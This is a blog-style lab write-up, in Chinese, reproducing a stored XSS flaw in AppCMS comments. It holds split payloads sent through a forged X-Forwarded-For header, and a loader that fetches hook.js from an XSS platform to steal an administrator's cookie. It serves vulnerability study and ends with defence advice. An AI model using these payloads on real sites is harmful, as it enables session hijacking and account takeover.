当前位置: 首页 > news >正文

Appcms存储型XSS漏洞复现

君衍.

  • 一、环境介绍
  • 二、环境部署
  • 三、测试回显
  • 四、多次注入
    • 1、第一条评论
    • 2、第二条评论
    • 3、管理员登录查看
  • 五、编写脚本获取cookie

一、环境介绍

这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下该漏洞,存储型XSS。准确的版本应该是2以下的,appcms1.3.890肯定存在该漏洞,可以进行复现。
这里很多文章都没有提及,也让我找了好久,害 (原源码包不好找)

当然,这里我们也是有机会使用别的版本进行复现的,那就是直接到数据库中改······

这也是没办法中的办法,源码可以在github中搜索,appcms进行下载,一般下载都是2版本以上:
在这里插入图片描述
所以,我们如果查看源码就会发现之前那个漏洞利用使用到了X-FORWARDED-FOR标头:
在这里插入图片描述
但是在这个版本中其实并没有用到这个请求标头:
在这里插入图片描述
所以这里原本使用伪造IP地址,我就要在文中直接进行数据库更改了,但是文中我尽量体现原有版本步骤,其实这里我用的是上方那个版本,使用伪造其实是不成功大的,同时,我也测试过加上这个请求标头,后来发现并不能通过改包实现对IP地址字段的更改,这里我还是在数据库中进行直接更改。

中间件选择使用Nginx以及Apache都行,不影响,数据库也一样。

在这里插入图片描述

二、环境部署

首先从github上下载源码,这个一搜appcms即可找到安装包,有个7年前的,一下载,然后解压到小皮的网站根目录下:
在这里插入图片描述
下面进行访问该目录,这里使用本机IP地址进行访问,不使用127.0.0.1,因为我们之后要进行抓包改包。
在这里插入图片描述
可以看到我这里IP地址为10.107.135.79,然后我们访问:

ip地址/appcms-master

在这里插入图片描述
点击开始安装:
在这里插入图片描述

点击下一步:
在这里插入图片描述
再点击下一步:
在这里插入图片描述
这里我们设置当前数据库的密码,从而使该网站连接到数据库,以及管理员的密码。 安全码设置不设置都一样,直接下一步:
在这里插入图片描述

可以看到安装完成,然后报错了不用管,不影响我们使用,这里猜测依旧是版本问题,问题不大。

然后我们点击管理首页:
在这里插入图片描述
这里说我们要改管理员目录的名称,随便改,我这里改为zy:
在这里插入图片描述
然后我们访问这个目录:
在这里插入图片描述
正确访问,方便我们之后使用,环境得先搞好,害。登录后即可环境配置完成:
在这里插入图片描述
我这里显示有点奇葩,不过问题不大,搞得能用。

三、测试回显

我们想要完成存储型XSS,那肯定是需要写入数据库当中,从而完成注入,所以这里我们使用该网站的评论功能:(找了半天也就这一个能用)
在这里插入图片描述
我们点击往下滑即可看到评论:
在这里插入图片描述
首先我们可以看到这里可以进行提交内容,同时评论一般情况下肯定在页面上进行显示的,所以我们先提交测试的,观察回显:

这里我们就提交一个注释吧,看能闭合掉不
第一次提交:*/
第二次提交:/*

账户什么随便填,我们主要观察回显的顺序以及内容:
在这里插入图片描述
点击提交:
在这里插入图片描述
再次提交第二个测试:
在这里插入图片描述
点击提交:
在这里插入图片描述
提交之后我们查看源码:
在这里插入图片描述
这里我们可以看到并没有完成闭合,但是评论回显是倒序出现的,同时中间夹着我们本机的IP地址,这个IP我们是否可以进行利用,从而配合我们的评论完成XSS注入。其实是可以的,这里我们需要用到X-FORWARDED-FOR来进行HTTP请求端真实IP伪造,通过这个字段将IP地址进行伪造为我们使用的payload。
思路确定了,我们使用多次注入的方式,同测试一样完成我们的闭合,即:

正常payload:
<script>alert(11111)</script>
达成的效果(将中间的代码注释掉)<script>/**/alert(11111)/**/</script>
多次注入:
<script>/**/alert(11111)/**/</script>

将payload多次拆分,使用两条留言完成注入:

第一次:
内容:*/alert(11111)
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*

四、多次注入

我们上面分析了注入思路,下面我们开始注入:

1、第一条评论

在这里插入图片描述
内容:*/alert(11111)
然后使用Burp进行抓包改包(伪造IP):
在这里插入图片描述
可以看到这里成功抓到,然后我们添加标头:

X-FORWARDED-FOR: */</script>

在这里插入图片描述
然后放通,即可看到留言成功:
在这里插入图片描述
当然,我们也可以在数据库中找到:
在这里插入图片描述
可以看到这里已经成功留言了:
在这里插入图片描述

2、第二条评论

第二次留言我们只需将其IP进行伪造就成:

X-FORWARDED-FOR: <script>/*

在这里插入图片描述
添加标头来伪造IP:
在这里插入图片描述
然后点击放通:
在这里插入图片描述
即可留言成功,观察数据库得:
在这里插入图片描述

3、管理员登录查看

这里准备工作已经做完了,我们只需要登录管理员账户查看评论管理即可:
在这里插入图片描述
查看评论管理:
在这里插入图片描述
很明显可以看到这里进行了弹窗,点击确定查看评论:
在这里插入图片描述
我们可以看到这里没有了zy3得评论,同时zy4账户IP消失了,这才是正确的界面,其他文章在此或多或少有错误。这里我们查看源码便可知道原因:
在这里插入图片描述
这里便可看到我们输入的第一条留言被注释掉了,所以无法显示。

五、编写脚本获取cookie

var scriptElement = document.createElement('script');
scriptElement.src ='http://172.16.100.1:3000/hook.js';
document.body.appendChild(scriptElement);

我们可以编写一串上面的代码,将远程的JS文件加载到当前页面中,远程JS位于我们的XSS平台,从而获取管理员的cookie。
同样使用上面的方式,多次注入:

第一次:
内容:*/var scriptElement = document.createElement('script');scriptElement.src ='http://172.16.100.1:3000/hook.js';document.body.appendChild(scriptElement);/*
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*

这里便不再演示,我们直接看最后管理员查看评论管理:
在这里插入图片描述
在这里插入图片描述
我们刷新可以看到这里去请求了我们的XSS平台,所以我们获取到cookie后即可完成登录。
在这里插入图片描述
存储型 XSS 攻击就是攻击者通过在网站上存储恶意脚本代码,通常是在数据库中或其他数据存储位置,然后在用户浏览该网站时触发执行这些脚本,从而实现窃取用户敏感信息、劫持用户会话、篡改网页内容等恶意行为。防范存储型 XSS 的关键在于对用户输入进行适当的验证、过滤和转义,来确保用户提供的数据不会被误解为可执行的脚本。

相关文章:

Appcms存储型XSS漏洞复现

君衍. 一、环境介绍二、环境部署三、测试回显四、多次注入1、第一条评论2、第二条评论3、管理员登录查看 五、编写脚本获取cookie 一、环境介绍 这里需要注意&#xff0c;我没有找到原有的该环境源码包&#xff0c;因为这个是很久前的漏洞了&#xff0c;在XSS学习中可以查看下…...

springcloud-alibaba Sentinel入门

Releases alibaba/Sentinel GitHubSentinel下载官方 在cmd 里面运行 启动命令 java -jar sentinel-dashboard-1.8.6.jar 启动成功前提 java环境 &#xff0c;已经注册到服务注册中心&#xff0c;8080端口没有被占用 启动后访问地址为 qhttp://localhost:8080http://lo…...

Linux系统——web服务拓展练习

目录 一、实验环境搭建 1. Centos 7-5——Client 2. Centos 7-1——网关服务器 3. Centos 7-2——Web1 4. Centos 7-3——Web2 5. Centos 7-4——Nginx 二、在Nginx服务器上搭建LNMP服务&#xff0c;并且能够对外提供Discuz论坛服务&#xff1b;在Web1、Web2服务器上搭建…...

SQLite3中的callback回调函数注意的细节

调用 sqlite3_exec(sqlite3*, const char *sql, sqlite_callback, void *data, char **errmsg)该例程提供了一个执行 SQL 命令的快捷方式&#xff0c; SQL 命令由 sql 参数提供&#xff0c;可以由多个 SQL 命令组成。 在这里&#xff0c; 第一个参数 sqlite3 是打开的数据库对…...

2024华北医院信息网络大会最新演讲嘉宾

大会背景    近年来&#xff0c;我国医疗行业信息化取得了飞跃式的发展&#xff0c;医疗信息化对医疗行业有着重要的支撑作用。2021年国家卫健委、中医药管理局联合印发《公立医院高质量发展促进行动&#xff08;2021-2025年&#xff09;》&#xff0c;提出重点建设“三位一体…...

指数移动平均(EMA)

文章目录 前言EMA的定义在深度学习中的应用PyTorch代码实现yolov5中模型的EMA实现 参考 前言 在深度学习中&#xff0c;经常会使用EMA&#xff08;指数移动平均&#xff09;这个方法对模型的参数做平均&#xff0c;以求提高测试指标并增加模型鲁棒。实际上&#xff0c;_EMA可以…...

无线表格识别模型LORE转换库:ConvertLOREToONNX

引言 总有小伙伴问到阿里的无线表格识别模型是如何转换为ONNX格式的。这个说来有些惭愧&#xff0c;现有的ONNX模型是很久之前转换的了&#xff0c;转换环境已经丢失&#xff0c;且没有做任何笔记。 今天下定决心再次尝试转换&#xff0c;庆幸的是转换成功了。于是有了转换笔…...

C# 视频转图片

在 C# 中将视频转换为图像可以使用 FFmpeg 库。下面是一个示例代码来完成这个任务&#xff1a; using System; using System.Diagnostics;class Program {static void Main(string[] args){string inputFile "input_video.mp4"; // 输入的视频文件路径string outpu…...

LINUX ADC使用

监测 ADC ,使用CAT 查看&#xff1a; LINUX ADC基本使用 &adc {pinctrl-names "default";pinctrl-0 <&adc6>;pinctrl-1 <&adc7>;pinctrl-2 <&adc8>;pinctrl-3 <&adc9>;pinctrl-4 <&adc10>;pinctrl-5 …...

Ubuntu 基本操作-嵌入式 Linux 入门

在 Ubuntu 基本操作 里面基本就分为两部分&#xff1a; 安装 VMware 运行 Ubuntu熟悉 Ubuntu 的各种操作、命令 如果你对 Ubuntu 比较熟悉的话&#xff0c;安装完 VMware 运行 Ubuntu 之后就可以来学习下一章节了。 1. 安装 VMware 运行 Ubuntu 我们首先来看看怎么去安装 V…...

Pytorch可形变卷积分类模型与可视化

E:. │ archs.py │ dataset.py │ deform_conv_v2.py │ train.py │ utils.py │ visual_net.py │ ├─grad_cam │ 2.png │ 3.png │ ├─image │ ├─1 │ │ 154.png │ │ 2.png │ │ │ ├─2 │ │ 143.png │…...

Mysql 表逻辑分区原理和应用

MySQL的表逻辑分区是一种数据库设计技术&#xff0c;它允许将一个表的数据分布在多个物理分区中&#xff0c;但在逻辑上仍然表现为一个单一的表。这种方式可以提高查询性能、简化数据管理&#xff0c;并有助于高效地进行大数据量的存储和访问。逻辑分区基于特定的规则&#xff…...

架构面试题汇总:网络协议34问(七)

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 网络协议是实现各种设备和应用程序之间顺畅通信的基石。无论是构建分布式系统、开发Web应用&#xff0c;还是进行网络通信&#x…...

lida,一个超级厉害的 Python 库!

目录 前言 什么是 lida 库&#xff1f; lida 库的安装 基本功能 1. 文本分词 2. 词性标注 3. 命名实体识别 高级功能 1. 情感分析 2. 关键词提取 实际应用场景 1. 文本分类 2. 情感分析 3. 实体识别 总结 前言 大家好&#xff0c;今天为大家分享一个超级厉害的 Python …...

K好数 C语言 蓝桥杯算法提升ALGO3 一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字

问题描述 如果一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字&#xff0c;那么我们就说这个数是K好数。求L位K进制数中K好数的数目。例如K 4&#xff0c;L 2的时候&#xff0c;所有K好数为11、13、20、22、30、31、33 共7个。由于这个数目很大&#xff0c;请你输…...

2195. 深海机器人问题(网络流,费用流,上下界可行流,网格图模型)

活动 - AcWing 深海资源考察探险队的潜艇将到达深海的海底进行科学考察。 潜艇内有多个深海机器人。 潜艇到达深海海底后&#xff0c;深海机器人将离开潜艇向预定目标移动。 深海机器人在移动中还必须沿途采集海底生物标本。 沿途生物标本由最先遇到它的深海机器人完成采…...

Vue/cli项目全局css使用

第一步&#xff1a;创建css文件 在合适的位置创建好css文件&#xff0c;文件可以是sass/less/stylus...第二步&#xff1a;响预处理器loader传递选项 //摘自官网&#xff0c;引入样式 // vue.config.js module.exports {css: {loaderOptions: {// 给 sass-loader 传递选项sa…...

【自然语言处理】【大模型】BitNet:用1-bit Transformer训练LLM

BitNet&#xff1a;用1-bit Transformer训练LLM 《BitNet: Scaling 1-bit Transformers for Large Language Models》 论文地址&#xff1a;https://arxiv.org/pdf/2310.11453.pdf 相关博客 【自然语言处理】【大模型】BitNet&#xff1a;用1-bit Transformer训练LLM 【自然语言…...

安装及管理docker

文章目录 1.Docker介绍2.Docker安装3.免sudo设置4. 使用docker命令5.Images6.运行docker容器7. 管理docker容器8.创建image9.Push Image 1.Docker介绍 Docker 是一个简化在容器中管理应用程序进程的应用程序。容器让你在资源隔离的进程中运行你的应用程序。类似于虚拟机&#…...

【MySQL】表的增删改查——MySQL基本查询、数据库表的创建、表的读取、表的更新、表的删除

文章目录 MySQL表的增删查改1. Create&#xff08;创建&#xff09;1.1 单行插入1.2 多行插入1.3 替换 2. Retrieve&#xff08;读取&#xff09;2.1 select查看2.2 where条件2.3 结果排序2.4 筛选分页结果 3. Update&#xff08;更新&#xff09;3.1 更新单个数据3.2 更新多个…...

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...

TDengine 快速体验(Docker 镜像方式)

简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能&#xff0c;本节首先介绍如何通过 Docker 快速体验 TDengine&#xff0c;然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker&#xff0c;请使用 安装包的方式快…...

如何为服务器生成TLS证书

TLS&#xff08;Transport Layer Security&#xff09;证书是确保网络通信安全的重要手段&#xff0c;它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书&#xff0c;可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

uniapp中使用aixos 报错

问题&#xff1a; 在uniapp中使用aixos&#xff0c;运行后报如下错误&#xff1a; AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用

文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么&#xff1f;1.1.2 感知机的工作原理 1.2 感知机的简单应用&#xff1a;基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

redis和redission的区别

Redis 和 Redisson 是两个密切相关但又本质不同的技术&#xff0c;它们扮演着完全不同的角色&#xff1a; Redis: 内存数据库/数据结构存储 本质&#xff1a; 它是一个开源的、高性能的、基于内存的 键值存储数据库。它也可以将数据持久化到磁盘。 核心功能&#xff1a; 提供丰…...

rknn toolkit2搭建和推理

安装Miniconda Miniconda - Anaconda Miniconda 选择一个 新的 版本 &#xff0c;不用和RKNN的python版本保持一致 使用 ./xxx.sh进行安装 下面配置一下载源 # 清华大学源&#xff08;最常用&#xff09; conda config --add channels https://mirrors.tuna.tsinghua.edu.cn…...

高考志愿填报管理系统---开发介绍

高考志愿填报管理系统是一款专为教育机构、学校和教师设计的学生信息管理和志愿填报辅助平台。系统基于Django框架开发&#xff0c;采用现代化的Web技术&#xff0c;为教育工作者提供高效、安全、便捷的学生管理解决方案。 ## &#x1f4cb; 系统概述 ### &#x1f3af; 系统定…...